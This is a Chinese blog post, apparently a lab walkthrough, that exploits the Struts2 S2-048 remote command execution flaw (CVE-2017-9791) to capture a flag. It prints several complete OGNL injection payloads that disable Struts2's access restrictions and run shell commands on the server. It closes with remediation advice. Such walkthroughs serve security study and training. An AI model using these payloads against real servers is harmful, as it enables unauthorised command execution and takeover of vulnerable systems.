2022年03月07日   温氏效应   79 次浏览   暂无评论  

漏洞介绍

名称:Struts2 S2-048 远程命令执行漏洞

CVE标识符:CVE-2017-9791

描述:Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 攻击者构造恶意字段值(value)通过Struts2的struts2-struts1-plugin传递给被攻击主机,从而实现RCE,获取远程主机的控制权限。

解题过程

1、打开靶场环境

Balloon trip

2、访问漏洞存在的路径 /integration/saveGangster.action

Balloon trip

3、在第一个框里输入 ${1+2} 进行测试,下面两个框随便填

Balloon trip

点击Submit提交后发现 ${1+2} 被执行。

Balloon trip

4、构建命令执行的pyload,执行命令为id

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
Balloon trip

点击Submit提交后,可以看到被执行成功。

Balloon trip

5、将 id 改为 pwd 查看当前目录

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).(#q)}
Balloon trip

点击Submit提交后,可以看到当前目录为 /tmp

Balloon trip

6、使用了很多方式都没有从这里获得flag,改变思路,使用Burp抓包。

构造payload

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

需要将payload进行url转换,抓包替换,发送,成功

Balloon trip

7、修改padload,执行ls命令

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

同样将payload进行url转码,截包,改包,发包,成功获得flag

Balloon trip

方法二

当然我们还可以偷懒使用其他工具进行获取:

Suruts2漏扫工具进行扫描,获取flag

Balloon trip
Balloon trip

漏洞修复建议(或缓解措施)

  • 根据业务情况,禁用关闭(删除) \struts-2.3.x\apps\struts2-showcase.war包
  • 建议升级到最新版本2.5.10.1
  • 阿里云云盾态势感知已经支持检测
  • 阿里云云盾WAF默认支持防御,可以选用WAF防护

情报来源

共有 0 条评论

发表评论